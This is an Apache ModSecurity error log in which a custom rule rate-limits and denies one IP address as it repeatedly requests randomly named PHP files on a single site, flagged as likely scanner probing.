[Sat Apr 18 20:13:50.082159 2026] [:error] [pid 34290:tid 34325] [client 52.236.80.95:6007] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/byueb.php"] [unique_id "aeN1fhqX6WpmmAXOBi8ZqwAAAcY"]
[Sat Apr 18 20:13:50.632919 2026] [:error] [pid 9865:tid 9944] [client 52.236.80.95:6017] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cjndd.php"] [unique_id "aeN1fqzb5knECIY-C-iBFQAAAIc"]
[Sat Apr 18 20:13:51.344965 2026] [:error] [pid 9864:tid 9926] [client 52.236.80.95:6076] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cjndd.php"] [unique_id "aeN1f4CFeowknfXHM7kZ7wAAAFQ"]
[Sat Apr 18 20:13:51.918844 2026] [:error] [pid 9864:tid 9917] [client 52.236.80.95:5953] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cjndd.php"] [unique_id "aeN1f4CFeowknfXHM7kZ8AAAAEs"]
[Sat Apr 18 20:13:52.477379 2026] [:error] [pid 34237:tid 34246] [client 52.236.80.95:5987] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cjndd.php"] [unique_id "aeN1gBBmX4Wq5a6rxfanBgAAAUc"]
[Sat Apr 18 20:13:53.220100 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:5956] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/coiuz.php"] [unique_id "aeN1gRBmX4Wq5a6rxfanCwAAAUk"]
[Sat Apr 18 20:13:53.785427 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6136] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/coiuz.php"] [unique_id "aeN1gRBmX4Wq5a6rxfanDgAAAVA"]
[Sat Apr 18 20:13:54.332440 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5897] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/coiuz.php"] [unique_id "aeN1ghBmX4Wq5a6rxfanEAAAAUs"]
[Sat Apr 18 20:13:55.127733 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:5979] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/coiuz.php"] [unique_id "aeN1g_1e7hG8DAeABB8FRgAAAQM"]
[Sat Apr 18 20:13:55.747235 2026] [:error] [pid 9864:tid 9924] [client 52.236.80.95:5914] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aeN1g4CFeowknfXHM7kZ9AAAAFI"]
[Sat Apr 18 20:13:56.368401 2026] [:error] [pid 34288:tid 34312] [client 52.236.80.95:5982] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aeN1hOTIiy__PtiLmpnSgQAAAZQ"]
[Sat Apr 18 20:13:56.984050 2026] [:error] [pid 34237:tid 34258] [client 52.236.80.95:5924] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aeN1hBBmX4Wq5a6rxfanEwAAAVM"]
[Sat Apr 18 20:13:57.586207 2026] [:error] [pid 13023:tid 13029] [client 52.236.80.95:6008] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/click.php"] [unique_id "aeN1hf1e7hG8DAeABB8FSQAAAQQ"]
[Sat Apr 18 20:13:58.247485 2026] [:error] [pid 9863:tid 9875] [client 52.236.80.95:5983] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctjpseby.php"] [unique_id "aeN1hjjjiypiFrTucbLMmwAAAAI"]
[Sat Apr 18 20:13:58.788533 2026] [:error] [pid 9865:tid 9959] [client 52.236.80.95:6051] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctjpseby.php"] [unique_id "aeN1hqzb5knECIY-C-iBGwAAAJY"]
[Sat Apr 18 20:13:59.430372 2026] [:error] [pid 34288:tid 34302] [client 52.236.80.95:6079] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctjpseby.php"] [unique_id "aeN1h-TIiy__PtiLmpnSgwAAAYo"]
[Sat Apr 18 20:13:59.960354 2026] [:error] [pid 34288:tid 34298] [client 52.236.80.95:6052] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ctjpseby.php"] [unique_id "aeN1h-TIiy__PtiLmpnShAAAAYY"]
[Sat Apr 18 20:14:00.589971 2026] [:error] [pid 13023:tid 13040] [client 52.236.80.95:5895] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cxxuv.php"] [unique_id "aeN1iP1e7hG8DAeABB8FTQAAAQ8"]
[Sat Apr 18 20:14:01.338624 2026] [:error] [pid 13023:tid 13045] [client 52.236.80.95:5909] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cxxuv.php"] [unique_id "aeN1if1e7hG8DAeABB8FTgAAARQ"]
[Sat Apr 18 20:14:01.903627 2026] [:error] [pid 13023:tid 13048] [client 52.236.80.95:5998] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cxxuv.php"] [unique_id "aeN1if1e7hG8DAeABB8FTwAAARc"]
[Sat Apr 18 20:14:02.430448 2026] [:error] [pid 13023:tid 13035] [client 52.236.80.95:5901] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cxxuv.php"] [unique_id "aeN1iv1e7hG8DAeABB8FUAAAAQo"]
[Sat Apr 18 20:14:03.157296 2026] [:error] [pid 13023:tid 13028] [client 52.236.80.95:6112] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dawvg.php"] [unique_id "aeN1i_1e7hG8DAeABB8FUwAAAQM"]
[Sat Apr 18 20:14:03.658956 2026] [:error] [pid 13023:tid 13042] [client 52.236.80.95:6003] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dawvg.php"] [unique_id "aeN1i_1e7hG8DAeABB8FVAAAARE"]
[Sat Apr 18 20:14:04.176488 2026] [:error] [pid 13023:tid 13033] [client 52.236.80.95:5945] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dawvg.php"] [unique_id "aeN1jP1e7hG8DAeABB8FVQAAAQg"]
[Sat Apr 18 20:14:04.699430 2026] [:error] [pid 34237:tid 34243] [client 52.236.80.95:6065] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dawvg.php"] [unique_id "aeN1jBBmX4Wq5a6rxfanGQAAAUQ"]
[Sat Apr 18 20:14:05.221293 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5946] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dhjqs.php"] [unique_id "aeN1jRBmX4Wq5a6rxfanHQAAAVE"]
[Sat Apr 18 20:14:06.203193 2026] [:error] [pid 9970:tid 9994] [client 52.236.80.95:6015] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dhjqs.php"] [unique_id "aeN1jiYdRLRhVmaIMx2y4wAAANQ"]
[Sat Apr 18 20:14:06.753348 2026] [:error] [pid 34237:tid 34248] [client 52.236.80.95:5831] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dhjqs.php"] [unique_id "aeN1jhBmX4Wq5a6rxfanIwAAAUk"]
[Sat Apr 18 20:14:07.302295 2026] [:error] [pid 34237:tid 34242] [client 52.236.80.95:5906] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dhjqs.php"] [unique_id "aeN1jxBmX4Wq5a6rxfanJQAAAUM"]
[Sat Apr 18 20:14:08.031542 2026] [:error] [pid 9865:tid 9940] [client 52.236.80.95:6038] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/diayd.php"] [unique_id "aeN1kKzb5knECIY-C-iBJAAAAIM"]
[Sat Apr 18 20:14:08.657301 2026] [:error] [pid 34288:tid 34309] [client 52.236.80.95:6106] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/diayd.php"] [unique_id "aeN1kOTIiy__PtiLmpnShwAAAZE"]
[Sat Apr 18 20:14:09.570331 2026] [:error] [pid 9865:tid 9955] [client 52.236.80.95:5966] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/diayd.php"] [unique_id "aeN1kazb5knECIY-C-iBJgAAAJI"]
[Sat Apr 18 20:14:10.074462 2026] [:error] [pid 34288:tid 34297] [client 52.236.80.95:5981] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/diayd.php"] [unique_id "aeN1kuTIiy__PtiLmpnSiQAAAYU"]
[Sat Apr 18 20:14:11.040494 2026] [:error] [pid 34237:tid 34256] [client 52.236.80.95:5992] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dljpy.php"] [unique_id "aeN1kxBmX4Wq5a6rxfanKwAAAVE"]
[Sat Apr 18 20:14:11.585334 2026] [:error] [pid 9970:tid 9974] [client 52.236.80.95:6012] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dljpy.php"] [unique_id "aeN1kyYdRLRhVmaIMx2y5AAAAMA"]
[Sat Apr 18 20:14:12.128869 2026] [:error] [pid 34237:tid 34252] [client 52.236.80.95:6063] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dljpy.php"] [unique_id "aeN1lBBmX4Wq5a6rxfanLQAAAU0"]
[Sat Apr 18 20:14:12.731099 2026] [:error] [pid 34237:tid 34260] [client 52.236.80.95:6067] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dljpy.php"] [unique_id "aeN1lBBmX4Wq5a6rxfanMAAAAVU"]
[Sat Apr 18 20:14:13.518840 2026] [:error] [pid 34237:tid 34261] [client 52.236.80.95:5918] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dqagu.php"] [unique_id "aeN1lRBmX4Wq5a6rxfanNwAAAVY"]
[Sat Apr 18 20:14:14.052345 2026] [:error] [pid 34290:tid 34342] [client 52.236.80.95:5954] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dqagu.php"] [unique_id "aeN1lhqX6WpmmAXOBi8ZuQAAAdc"]
[Sat Apr 18 20:14:14.617626 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:5996] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dqagu.php"] [unique_id "aeN1lhqX6WpmmAXOBi8ZvAAAAdQ"]
[Sat Apr 18 20:14:15.164421 2026] [:error] [pid 34290:tid 34341] [client 52.236.80.95:5997] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dqagu.php"] [unique_id "aeN1lxqX6WpmmAXOBi8ZwAAAAdY"]
[Sat Apr 18 20:14:15.674142 2026] [:error] [pid 9865:tid 9941] [client 52.236.80.95:5836] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/druqr.php"] [unique_id "aeN1l6zb5knECIY-C-iBKAAAAIQ"]
[Sat Apr 18 20:14:16.202108 2026] [:error] [pid 9864:tid 9905] [client 52.236.80.95:6130] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/druqr.php"] [unique_id "aeN1mICFeowknfXHM7kaAwAAAEA"]
[Sat Apr 18 20:14:16.776106 2026] [:error] [pid 34290:tid 34339] [client 52.236.80.95:5973] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/druqr.php"] [unique_id "aeN1mBqX6WpmmAXOBi8ZyQAAAdQ"]
[Sat Apr 18 20:14:17.420386 2026] [:error] [pid 34237:tid 34245] [client 52.236.80.95:5989] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/druqr.php"] [unique_id "aeN1mRBmX4Wq5a6rxfanPwAAAUY"]
[Sat Apr 18 20:14:18.149459 2026] [:error] [pid 34290:tid 34321] [client 52.236.80.95:5984] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dyxbc.php"] [unique_id "aeN1mhqX6WpmmAXOBi8ZzgAAAcI"]
[Sat Apr 18 20:14:18.844716 2026] [:error] [pid 9865:tid 9952] [client 52.236.80.95:6092] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dyxbc.php"] [unique_id "aeN1mqzb5knECIY-C-iBKwAAAI8"]
[Sat Apr 18 20:14:19.423620 2026] [:error] [pid 9970:tid 9975] [client 52.236.80.95:5961] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dyxbc.php"] [unique_id "aeN1myYdRLRhVmaIMx2y6AAAAME"]
[Sat Apr 18 20:14:19.972680 2026] [:error] [pid 9864:tid 9908] [client 52.236.80.95:5974] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dyxbc.php"] [unique_id "aeN1m4CFeowknfXHM7kaBwAAAEM"]
[Sat Apr 18 20:14:20.670429 2026] [:error] [pid 9970:tid 9983] [client 52.236.80.95:5915] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eapjf.php"] [unique_id "aeN1nCYdRLRhVmaIMx2y7AAAAMk"]
[Sat Apr 18 20:14:21.258883 2026] [:error] [pid 34237:tid 34255] [client 52.236.80.95:6081] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eapjf.php"] [unique_id "aeN1nRBmX4Wq5a6rxfanQQAAAVA"]
[Sat Apr 18 20:14:21.789486 2026] [:error] [pid 34288:tid 34299] [client 52.236.80.95:5939] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eapjf.php"] [unique_id "aeN1neTIiy__PtiLmpnSkAAAAYc"]
[Sat Apr 18 20:14:22.431854 2026] [:error] [pid 9864:tid 9918] [client 52.236.80.95:6068] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/eapjf.php"] [unique_id "aeN1noCFeowknfXHM7kaCwAAAEw"]
[Sat Apr 18 20:14:23.007193 2026] [:error] [pid 9864:tid 9930] [client 52.236.80.95:6049] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ebuom.php"] [unique_id "aeN1n4CFeowknfXHM7kaDgAAAFg"]
[Sat Apr 18 20:14:23.615053 2026] [:error] [pid 34237:tid 34250] [client 52.236.80.95:5944] [client 52.236.80.95] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ebuom.php"] [unique_id "aeN1nxBmX4Wq5a6rxfanRwAAAUs"]
